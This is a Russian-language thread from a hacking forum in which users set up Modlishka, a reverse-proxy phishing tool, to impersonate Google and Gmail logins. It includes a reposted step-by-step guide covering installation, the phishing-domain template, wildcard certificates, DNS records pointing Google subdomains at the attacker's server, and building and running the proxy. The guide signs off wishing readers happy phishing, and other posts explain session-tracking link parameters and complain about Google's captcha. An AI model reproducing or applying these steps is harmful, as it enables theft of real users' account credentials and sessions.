• XSS.stack #1 – первый литературный журнал от юзеров форума

Modlishka

kerberos

И тут я затупил. Let`s encrypt дает нам три файла.
ca_bundle.crt
certificate.crt
private.ket
А в autocert.go нужно залить два из них. Какие?

Ладно. Идем опытным путем.
Все три раза я вставлял сертификаты в autocert.go после указанного вами преобразования
Bash:
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/\\n/g' /etc/letsencrypt/live/fake-domain.de/имя_файла
Заново собирал бинарник и каждый раз получал одну и ту же ошибку:
root@host:~/go_src/src/github.com/drk1wi/Modlishka# ./dist/proxy -config templates/google.com_gsuite.json
[Mon Apr 8 15:04:19 2019] INF Enabling plugin: autocert v0.1
panic: tls: failed to find any PEM data in certificate input
тут куча ошибок.....
 
На экспе выложили ман. Сделал по нему - модлишка завелась нормально.
Не грабит данные. Кто может пояснить по ident. Откуда это взялось и зачем оно нужно?
 
ПС: Кому интересно за лайк можно скинуть видос в ПМ как оно все работает с моими дороботками.
А можно мне видос? Посмотреть как оно должно быть.
А то куда ни кинусь - везде большая распальцовка и никто толком не может подсказать, что я делаю не так.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
народ, у кого есть решение с сертом? два дня мучаюсь уже. На гмайл пробую
 
Там все просто. Нужно генерить вилдкарт сертификат. В нем три файла.
Содержимое вливаете в темплейт гугла. Нужно заменпить переносы строк на \n
Таким макаром взлетает сертификат. Но дальше все-равно толком не воркает. Там id в динамике меняется периодически.
Если нет доступа к экспу - отпишитесь. Данные сюда перетащу.
 
Там все просто. Нужно генерить вилдкарт сертификат. В нем три файла.
Содержимое вливаете в темплейт гугла. Нужно заменпить переносы строк на \n
Таким макаром взлетает сертификат. Но дальше все-равно толком не воркает. Там id в динамике меняется периодически.
Если нет доступа к экспу - отпишитесь. Данные сюда перетащу.
Если не затруднит, перенеси, интересно.
 
Установка и настройка Modlishka на примере шаблона Google.

Server: CENTOS 7.6
Go Version: 1.12.2

Открываем SSH и устанавливаем Go:
Bash:
yum update
wget https://dl.google.com/go/go1.12.2.linux-amd64.tar.gz

tar -xzf go1.12.2.linux-amd64.tar.gz
mv go /usr/local

export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
Возможно команды экспорта придётся прописывать каждый раз при открытие сессии SSH, решением будет добавление sh в автозагрузку.

На этом этапе выполняем команду:
Bash:
go version
Результатом команды мы получаем текущую версию Go, у меня это:
Bash:
go version go1.12.2 linux/amd64
Далее скачиваем Modlishka и правим конфигурации шаблона:
Bash:
go get -u github.com/drk1wi/Modlishka
cd $GOPATH/src/github.com/drk1wi/Modlishka/
Убедитесь что Go отработал и загрузил все необходимые файлы:
Bash:
ls
Далее нас интересует файл '/templates/google.com_gsuite.json' в нем находятся конфигурации шаблона.
Меняем некоторые параметры:
"phishingDomain": "loopback.modlishka.io"
"listeningAddress": "127.0.0.1"
Вместо loopback.modlishka.io пишем свой домен, listeningAddress - IP вашего сервера.
Настройка шаблона почти завершена, осталось получить сертификат на имя вашего домена.
Получать будем тут - www.sslforfree.com
Обязательно Wildcard тоесть основной домен google.com и всё поддомены *.google.com
Верификацию домены вы можете выполнить несколькими способами, советую Manually Verify Domain (DNS).
Всё что вам нужно это добавить в DNS новую TXT запись '_acme-challenge'.
Пока вы не вышли из редактора зон, следует добавить новую A запись '*.google.com' ведущую на IP адрес сервера, это говорит о том том что все запросы на любые поддомены будут перенаправлены на ваш IP адрес и модлишка обработает их как положено, именно для этого мы и делали Wildcard.
После верификации получаем сертификат: Certificate, Private Key, CA Bundle.
Кодируем в Base64 сертификат, приватный ключ и промежуточный сертификат.
Переходим к файлу конфигурации шаблона и пишем закодированные данные:
"cert": "Certificate (Base64)"
"certKey": "Private Key (Base64)"
"certPool": "CA Bundle (Base64)"
Вот на этом месте почти всё! Мы уже сделали всё что было нужно, но есть небольшая загвоздка, в таком виде у нас не будет работать SSL в большинстве браузеров.

Если проверить наш домен с запущенной модлишкой и установленным сертификатом, тут https://www.sslshopper.com/ssl-checker.html чекер скажет что проблема с цепочками сертификата и он не является доверенным. По этому будут большие проблемы. Решается этот вопрос очень просто.
Чтобы исправить проблему с отображением в браузерах и доверием, нужно добавить CA Bundle в ваш Certificate, снова закодировать в Base64 и вставить в шаблон.

Выглядеть это должно примерно так:
-----BEGIN CERTIFICATE-----
MIIFZTCCBE2gAwIBAgISAz4/R5PdcNIyUOiicw9nZra2MA0GCSqGSIb3DQEBCwUA
MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD
...
ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0xOTA0MTQwODMyMTlaFw0x
MEwGA1UdIARFMEMwCAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEBMCgwJgYIKwYBBQUH
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
uM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr/1wXKtx8/
wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so/joWUoHOUgwu
...
X4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlG
PfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6
-----END CERTIFICATE-----
С сертификатом закночили. Сохраняем отредактированный шаблон и выполняем:
Bash:
make
Результат успешной компиляции:
go test -v main.go main_test.go
=== RUN TestEncodeDecode
[Sat Apr 6 15:21:42 2019] DBG DecodeSubdomain: XVlBzgbaiCMRAjWwhTHc
--- PASS: TestEncodeDecode (0.00s)
=== RUN TestRegex
--- PASS: TestRegex (0.00s)
=== RUN TestTranslatePhishtoURL
[Sat Apr 6 15:21:42 2019] DBG DecodeSubdomain: accounts.youtube.com
--- PASS: TestTranslatePhishtoURL (0.00s)
=== RUN TestTranslateURLtoPhish
--- PASS: TestTranslateURLtoPhish (0.00s)
=== RUN TestCmdLineFlags
--- PASS: TestCmdLineFlags (0.00s)
=== RUN TestJSONConfig
--- PASS: TestJSONConfig (0.00s)
PASS
ok command-line-arguments (cached)
go build -ldflags "-s -w" -o dist/proxy main.go
Выполняем запуск:
Bash:
sudo ./dist/proxy -config templates/google.com_gsuite.json
Перед запуском убедитесь что не заняты порты 443 и 53.
Возможно вам нужно будет остановить Apache/Httpd.
Если модлишка всё же не запустилась остановите Bind9/Named, после запуска модлишки не забудьте снова запустить DNS.
На этом всё! Будут вопросы с радостью отвечу на них.
Удачного фишинга друзья!


Автор: FakeMaker
Источник: https://forum.exploit.in/topic/155816/
 
Я не жал сертификат в base64. Он и так в нем. Просто с помощью команды
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/\\n/g' /etc/letsencrypt/live/fake-domain.de/имя_файла
заменил переносы строк в файлах сертификатов. Получилось три файла с одной длинной строчкой.
После запуска в браузере все горит зеленым. НО https://www.sslshopper.com/ssl-checker.html показывает что не все хорошо.
Был совет слить два сертификата (уж не помню какие файлы) в один файл. И тогда все проверки проходят на ура. Но не помню где это читал уже.

Важно еще вот это
Кто то заговорил про ident)
"trackingCookie": "ident"
"trackingParam": "ident"
значение trackingParam указываем в ссылке на фейк "https://loop.modlishka.com/?ident=session_rnd_8"
как ты и сказал используется для работы с сессиями. Это я так что бы инфа была)
 
Не понимаю от куда столько шума, если стандартный nginx позволяет все это сделать из коробки и по пути еще js заинклудить :confused:

и проблем с ssl нет, стандартный сертбот решает все проблемы.
 
Не понимаю от куда столько шума, если стандартный nginx позволяет все это сделать из коробки и по пути еще js заинклудить :confused:

и проблем с ssl нет, стандартный сертбот решает все проблемы.
Ёще один ГУРУ вылез))) Обойди гугл капчу на nginx и потом поговорим! Как nginx бороздит сертбота просторы...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх